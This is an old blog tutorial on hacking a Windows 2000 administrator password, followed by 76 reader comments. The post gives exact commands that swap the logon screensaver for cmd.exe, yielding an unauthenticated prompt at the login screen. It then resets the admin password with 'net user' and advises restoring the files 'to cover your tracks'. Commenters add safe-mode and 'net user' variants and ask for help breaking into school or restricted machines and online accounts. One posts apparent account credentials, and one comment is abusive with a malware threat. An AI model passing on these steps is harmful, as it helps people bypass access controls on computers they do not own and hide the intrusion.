How to hack a Windows 2000 Administrator password using the command prompt

Warning: This tip should only be used for legitimate purposes in case you lost or forgot your administrator password to your Windows 2000 machine.  

While this hack could be applied in Windows XP machine too, you need to be logged in with administrator rights to perform this task. So why would you care if you already have admin rights on that machine right? So, we are focussing this discussion on how to get access to the admin password on Windows 2000 which is still amongst the most widely deployed operating systems especially in a corporate environment.

Log in and go to your DOS command prompt. You can launch the DOS prompt by either pressing the “Windows Key”(the one usually beside the left Alt key) and R. So a combination of Windows Key + R should launch the command prompt. So, for your DOS hacking command, enter these commands exactly as they appear…

cd\
cd\windows\system32
mkdir myhack
move logon.scr myhack\logon.scr
copy cmd.exe logon.scr
exit     

 

 

 

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in.

Windows 2000 admin password hack

When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is admin and you want the password ’lame’ then you would enter “net user admin lame″ and now you’ve changed the admin password to lame. Log in, do what you want to do, copy the contents of myhack back into system32 to cover your tracks by doing this at c:\windows\system32 > copy c:\windows\system32\myhack *.* c:\windows\system32

You will be prompted for overwrite .. say Yes.

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76 Responses to “How to hack a Windows 2000 Administrator password using the command prompt”

  1. shashang on December 2nd, 2006 5:51 am

    Sir,
    I tried your mehtod but sytem produces the message
    “System error 5 has occured.
    Acces is denied. ”
    How can I bypass this? Also I don’t understand how the command propmpt is changed to “C:\program files\common files\Sytem\Mapi\…. “. please explain

  2. how to hack on March 31st, 2007 10:09 am

    i have tried that 2 but how can you tell what the password is using command prompt
    thankx

  3. piyush on April 14th, 2007 10:35 pm

    sir ,
    i have tried u r method .but due to some error i cannot complete my objective .do u have any other way of doing so.

  4. admin on April 15th, 2007 6:26 am

    Piyush, can you post the error message you received. Maybe we can diagnose your problem further

  5. zero kewl89 on April 16th, 2007 10:21 am

    it worked for me so thanks sir

  6. admin on April 16th, 2007 1:52 pm

    Glad it worked zero kewl

  7. zero kewl89 on April 16th, 2007 4:01 pm

    i have another question. im trying to get on a web site ok its runescape.com but it wont let me on even with command prompt. i tried ping http://www.runescape.com but it didnt work so if any one gots any answers please tell me thank you.

  8. Manoj on April 24th, 2007 10:06 am

    The winnt folder is write protected. so can’t get to make dir myhack. “Access denied” message appears

  9. Jeff on April 25th, 2007 1:40 am

    yup, looks like MS rolled out a patch. Seems like it are a non admin user, the “access denied” message would show up

  10. jay on April 26th, 2007 4:54 pm

    doesn’t work
    says cannot find specified file!!!!
    what do i do?!?!?!?

  11. jaielas on May 1st, 2007 11:22 am

    sir, i tried it but it told me that the file hade ben moves or removed. now what. please get back to me thanx

  12. jaielas on May 1st, 2007 11:23 am

    Sir, I tried it, but it told me that the file hade ben moved or removed. Now what do I do? Please get back to me. Thanx

  13. Jim on May 1st, 2007 2:36 pm

    Jaielas and Jay, MS has rolled out a security patch earlier this year. This method does not work in WinXP SP1, SP2 or Windows Vista. I havent tried in other Operating Systems. ALthough if you have a “hacked” version of Windows, it might still work.

  14. shahbaz on May 4th, 2007 5:06 am

    sir, i tried it for hacking the administrator but the sytem gives an error

  15. Vky on May 14th, 2007 3:00 pm

    hi admin
    i tried to type the command exactly as they are.

    On my command prompt i was in c: drive.
    i typed cd\windows\system32 but it showed that “The system cannot find the PATH specified”
    PLEASE TELL ME WHAT TO DO NEXT.
    I WOULD LIKE TO TELL YOU MORE THAT I CANNOT RIGHT CLICK ON THE DESKTOP. I CANNOT SEE C: DRIVE IN MY COMPUTER ITS JUST THAT I HAVE A SHARED DRIVE Z: THAT I CAN ACCESS.

  16. Indiana^Police on May 24th, 2007 4:36 am

    Hello Vky,

    Do not type cd\windows\system32, you can type following command
    C:\> CD Windows
    C:\> Windows> CD System32
    C:\> Windows\System 32>

    After this follow the rest steps…

  17. sunil on May 26th, 2007 2:03 am

    dear, i am follow ur step, but i could not know password of admistrator, computer return error message denid to accesss.

  18. $$$$$$$$$$ on June 17th, 2007 7:17 am

    I’m 12 years old and I have hacked into runescape so if anyone needs help just leave a message and I will get back to you

  19. krishna on June 29th, 2007 8:10 am

    your hack does’nt work I get access is denied message..u r wasting my time by providing useless hacks.. look into this:

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    Access is denied.

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    C:\WINNT\system32>

    and please dont delete this post I want an answer..

  20. admin on June 29th, 2007 2:33 pm

    Well Krishna, looks like u don’t have enough permissions on ur machine to perform that hack. If you don’t have basic rights like creating a new directory, well this hack is not for you. Also this hack will not work if your Windows OS has been updated with the latest patches. One of the patches rolled out my MS includes a fix for this hack.

  21. jarod on July 6th, 2007 10:42 am

    damn 2 threads

  22. jarod on July 6th, 2007 10:43 am

    acually alot of sites this software is the best tool in my view all though it could be used for evil as well because it has the potential to hack into any machine password protected pertaining to login password access only just by inserting the cd (eg) making it a bootup CD within 5 minutes you will have control of your machine again it is really easy to use I think I did it with 5 clicks of the mouse
    I love this tool alot lol

    other alternatives would be to:

    if you can boot into safemode you could try this

    go to

    hit f8 or f5 to boot into safemode

    click star/run/cmd/

    type control userpasswords2

    I’m not sure if this works if you have limited privillages

    it will definately not work if you you cant access safe mode if windows requires a password

  23. jarod on July 6th, 2007 10:44 am

    if you can boot into safemode you could try this

    go to

    hit f8 or f5 to boot into safemode

    click star/run/cmd/

    type control userpasswords2

    I’m not sure if this works if you have limited privillages

    it will definately not work if you you cant access safe mode if windows requires a password

    that will get you to the dialog box all you need to do then is click on administrator and then reset the password there reboot your machne and you will be able to regain control of your machine again either way if all else fails (erd commander) will not let you down

  24. jarod on July 6th, 2007 10:49 am

    heres one try

    hitting f8 to get into safemode

    click on start/run/cmd

    type: user controlpasswords2

    in the dialog box click on administrator rest the password rebbot enter your new password that should work

  25. jarod on July 6th, 2007 11:04 am

    heres one to try

    hitting f8 to get into safemode

    click on start/run/cmd

    type: user controlpasswords2

    in the dialog box click on administrator reset the password enter a password and then reboot your machine enter your new password that should work

    I’m not sure if this works if the user has limited privillages it definately not work if the user has a password log in in safe mode

    if thats the case then erd commander is the one that will let you back in your machine 100 percent garuanted

  26. Velocity on July 7th, 2007 5:29 pm

    dude $$$$$$$$$$$$$$$$$$ or whatever your name is

    e-mail me stuff for RS— i want to really see if you can hack–it i would rock the freeoword XD

    get back to me

  27. Tamelia Smith on July 8th, 2007 8:26 pm

    I need help unlocking Windows 2000 password. Please help me if anyone can.

  28. #@CKdude on August 14th, 2007 4:36 am

    @Velocity Dont trust $$$$$$$ !
    @$$$$$$$$ F*©k off, We are no N00bs We dont what your crackers style FAKE hackz … If you want my username and pass for RS, its USER7856 and pass. T1E2S3T4A5D6M7I8N

    @ all, To regain Admin rights in MS, search for Recovery and DONT download Tools. never trust Crackers

    1 word of advice, Dont try to break in your school or dad’s pc … Its NOT worth it !
    And if you messed your own PC up ? Download an LiveLinux CD and boot it … There are Versions loaded with nice Windows tools …

    A Friend

  29. Pritesh on August 18th, 2007 1:21 am

    i have foregeted my admin password so i cant access administrator accout, so plz tell me how to hac admin from any guest limited account asap. thanx.

  30. Keegs on August 19th, 2007 8:01 am

    hey ye this worked but i was wondering how i could get it back to the way it was originaly? thanks this would help.

  31. help! on August 29th, 2007 6:25 pm

    help i need to find a place to download ANY DOS command prompt window please help thx!

  32. GURU on August 31st, 2007 5:32 am

    sir,
    thank u for this code that u have provided here to
    process it worked
    but
    the main thing even it has copied 1 file also
    but it was not showing the message “overright the file

  33. GURU on August 31st, 2007 5:35 am

    sir ,
    thank u.
    for providing this code ok
    but still i am not satisfied with the result
    because it was not showing there that “overright the
    existing file ” yes/no
    this was not displayed at the command prompt
    that’s it do provide it in detail

  34. vijay on September 4th, 2007 2:14 am

    how to hack yahoo and orkut accounts

  35. toko on September 21st, 2007 1:10 pm

    i tried this but didnt work

  36. Santanu on October 1st, 2007 12:15 pm

    Sir,
    Can u tell me how to hack windows 2000 administrator account using a guest account with limited resources.

  37. abc on October 10th, 2007 1:55 am

    iwant 2 hake the password of my addimnistator but inDOS when i had written….
    cd\windows\system32 (& then enter)
    THE REPLY WAS
    “INVALID DIRECTORY”
    I ‘ M SO SO SO NEW 2 THIS FIELD PL. DESCRIBE BRIEFLY….&
    AS SOON AS POSSIBLE
    ====================ABC=================================

  38. Pinto on October 16th, 2007 4:21 am

    I cant acess the c drive… :(

  39. ty 1678 on November 13th, 2007 4:49 am

    heres a way to hack a windows 2000 computer

    1. restart the computer
    2.press or hold the f8 button
    3.a menu will come up that ask if you would like too boot in safe mode or safe mode with command prompt. Either will work . I always use safe mode
    4. When it all loads up go control panel ,user accounts and go to the administator account. From there you can change password, remove password or change pictures
    !!!warining !!! THIS IS ONLY EDUCATION PURPOSES !!! DO NOT HACK OTHER PEOPLES COMPUTER IT IS ILLEGAL AND YOU CAN GET JAILED
    You can email me at chesspromdb@aol.com

  40. scott on November 14th, 2007 5:49 pm

    wen i try ether this:

    cd\
    cd\windows\system32
    mkdir myhack
    move logon.scr myhack\logon.scr
    copy cmd.exe logon.scr
    exit

    or this:
    net user adminastrator *

    they both come up with:

    system error 5 has occurred

    access is denied

    plz help me

  41. nathan on November 27th, 2007 1:11 pm

    when i get to step #4 it says acess denied Please help

  42. sathish on December 17th, 2007 5:50 am

    How to protect the folder using Ms.Dos?

  43. kaerry on December 30th, 2007 6:02 am

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    Access is denied.

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    C:\WINNT\system32>

    i got this instead of getting my desired result
    do something man

  44. Dan on January 2nd, 2008 12:52 am

    for pete’s sake people.

    The advice given to hack into your machine causes more trouble and questions. Especially from idiots who do not have any business trying to hack.

    If you do not know that password, either reload the entire OS, or stay away from something that you know nothing about. There will NEVER, NEVER be one, and only one, solution to hacking for passwords…

  45. dg on January 19th, 2008 2:51 pm

    ur doing it all wrong
    and who is sir
    the propper way is go into cmd and type:
    net users
    it comes up with users on computer next type:
    net user administrator *
    and presto
    type a password 4 user

  46. rafael on January 21st, 2008 12:58 am

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    a subdirectory or file myhack already exist

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    and please help me..
    email me at rafael_gcjr@yahoo.com.ph

  47. rafael on January 21st, 2008 1:00 am

    my 2nd trial… still access denied.. please help me..

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    a subdirectory or file myhack already exist

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    and please help me..
    email me at rafael_gcjr@yahoo.com.ph

  48. Akito on January 24th, 2008 5:16 pm

    Does Anyone here knows how to hack a MAC?

  49. oliver john on January 27th, 2008 3:15 am

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    Access is denied.

    wat will i do next..i have a limited account..please help..tnx

  50. Mani Anand on January 27th, 2008 9:11 am

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    Access is denied.

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    C:\WINNT\system32>

    and please dont delete this post I want an answer..

    sir ,at any cost i want an anwser
    please sir……………..

  51. harpreet on January 28th, 2008 6:24 am

    if im entered into limited account how can i change my admin password without login. (mkdir myhack) after this cmd it shows me error access is denied now tell me what to do?

  52. napster on February 2nd, 2008 12:01 pm

    man u r shit does not wk. it kinda works but it also does not work.. it says access denied…..

  53. surya on February 4th, 2008 5:14 am

    net user adminastrator *

    they both come up with:

    system error 5 has occurred (bull shit error comming)

    access is denied
    help me

  54. john on February 10th, 2008 10:33 pm

    everytime i try to get into administrator it says the sytem produces the message
    “System error 5 has occured.
    Acces is denied. ” how do i get passed it

  55. ASSASIN on February 14th, 2008 6:47 am

    im A 16 year old whos learning this whole hacking stuff
    please help send me links and tutorials @ gideonk@yahoo.com thanks in advance guys
    ciao

  56. nick on February 18th, 2008 9:28 am

    ok so i press the micrsoft button and r. the run box thing comes up.i type cd\
    then i hit ok. it says the file cannot be found.
    i have no idea what im supposed to do..please if you can help, send info to bmx0192@yahoo
    thanks in advance

  57. nick on February 18th, 2008 10:00 am

    haha ok i figured out how to open the command thing now
    new problem:
    cd\windows\system32
    invalid directory

    what do i do?

  58. LRAC on March 2nd, 2008 10:52 pm

    @ dg:

    I managed to do up to ‘net user administrator*’ , now how do I change the password?

  59. Micman on March 6th, 2008 1:04 am

    Im wan some support in some good hacking tips especially windos xp and other version. Please mail me tnks a lot

  60. napster on April 3rd, 2008 11:32 am

    the hack does not wrok. access is denied!!1

  61. dinesh thakur on April 9th, 2008 5:04 am

    i want to run proxy sites those r denied by administrator
    help me ijjat ka sawal hai

  62. Indiana^police on April 14th, 2008 7:33 pm

    Guys!!!!, before trying the above steps ensure that you have access to the root directory. There is no point you try changing SCR file path or through safe mode if you do not have specific access, Its like deleting SAM folder without rights..

    “dinesh thakur on April 9th, 2008 5:04 am i want to run proxy sites those r denied by administrator
    help me ijjat ka sawal hai”

    Dude - Do you mean k-proxy.com kind of stuff?
    There are many it is possbile that your admin must have missed few…

  63. ViRaL on April 25th, 2008 11:00 pm

    Much more simplified method of changing passwords to any account.

    In command prompt, type:
    net user *

    You are then prompted for a new password. Type the password in (the cursor doesn’t move), and press enter. Re-enter the password to verify, and you’re set.

    :)

  64. Purp on May 8th, 2008 10:38 pm

    ^ But, then it doesn’t change any passwords, cuz you didn’t specify any
    XD

  65. james on May 17th, 2008 10:03 pm

    ey I have windows vista basics downloaded all the new updates
    and now i lost my password and all i have is guest

    so could anyone plz tell me how to hack windows vista using guest.

    contact me my email is James_rulz16@hotmail.com

    plz i really neeed da password

  66. shahid on June 4th, 2008 7:07 am

    Sir,
    I tried your mehtod but sytem produces the message
    “System error 5 has occured.
    Acces is denied. ”
    How can I bypass this? Also I don’t understand how
    i want to open window in administrator account but i lost this password please help me

  67. some guy who knows his stuff on June 5th, 2008 8:12 pm

    right, i completely agree with my fellow true hacker Dan,
    all you guys don’t seem to understand that in early 2007, microsoft made a block on these sorts of codes to stop people like you doing it so easily. the code will work on an earlier version operating system, somewhere before winXP. i’ve just turned 16 and think that anyone who doesn’t have the common sense to understand that password hacking is a difficult task needs to either learn more about batch processing and command line interfacing, or just give up and stop wasting your time on a near impossible task to an unexperienced CLI user. the point of a password is to protect personal files from being read by an unauthorised person, apart from the fact its illegal, most people who have only a user password instead of a system boot password usually have nothing worth looking at. and of course there is the fact that any computer that you can use without too much aggravation is not a worth while system too hack into.

    all those who wish to be hackers, do your homework on easier projects before taking one of most difficult tasks as a hacker.

  68. some guy who knows his stuff on June 5th, 2008 8:18 pm

    and just to let you know,
    there are ways to get around the security blocks, but i’m not going to tell you how. if your stupid enough to not have any experience and go into and change files in the BIOS directories, then you will probably corrupt your own OS.
    believe me, it is not worth risking loosing yours or whoevers computers it is files.

  69. shahid on June 6th, 2008 7:38 am

    dear i try this command
    your hack does’nt work I get access is denied message..u r wasting my time by providing useless hacks.. look into this:

    C:\>cd\

    C:\>cd\winnt\system32

    C:\WINNT\system32>mkdir myhack
    Access is denied.

    C:\WINNT\system32>move logon.scr myhack\logon.scr
    Access is denied.

    C:\WINNT\system32>copy cmd.exe logon.scr
    Overwrite logon.scr? (Yes/No/All): y
    Access is denied.
    0 file(s) copied.

    C:\WINNT\system32>

    now i am using as a guest account and so i couldn’t Install any hardwere program in computer please give me right answer

  70. Akhil on June 11th, 2008 1:13 pm

    hi,
    i have already tried this process =, but if you have a limited account, then it would not work. Is there a way past this? If so please e-mail as soon as possible.

    Thank You

  71. abc on June 12th, 2008 8:37 am

    The procedure provided to hack the password doesn’t work because when we get the cmd window in the logon screen it takes about 10 in to load and after that the command doesn’t work that was given…..

    If u find a better way plz reply on my mail…..

  72. Hoosp on June 20th, 2008 12:56 pm

    I tried all above cant get any result. I have windows 2000. Every time I log in , I got the blue square ask for name and password.I also tried to log in safe mode with or without dos prompt same square shows.any help

  73. shahid on June 24th, 2008 11:18 pm

    dear please send some commad or short key to set date as 25 jan 2004 of my pc. If you have idea of notpad commad please tell me i want to apply some short key and commad must apply

  74. Steven on July 6th, 2008 2:16 am

    dude,
    how in the world are you guys not able to complete the commands prefered by you?
    really i think if you cant do it the first 300 times then maybe you should stick with something much easier,…like making paper hats,.
    seriously wtf?

  75. lundlele on August 5th, 2008 6:56 am

    teri ma ka madarchod rtumahari ma ki choot mein sade hue insects,behen ki choot k sabse sade hue hisse k sabse ade hue bacteria ,ma k land ,bhonsad chodh ja ja k ma , behen ko kothe pe baitha agar windows hack karne sahi tarika nahi aata hai to sal emadar jaat.

    and don’t dare to delete this msg otherwise malicious programs and viruses will ur system and ur am ki choot and no antivirus will dare to remove that…………………….u mother fucker ,asshole,bastard………..

  76. Lui on August 19th, 2008 3:36 am

    my windows 2000 lost password…it cant log on to windows.
    it always asking for the admin password…i run the SAFE MODE WITH COMMAND PROMPT but it doesnt load the command prompt,it still loading the LOG-IN WINDOW.

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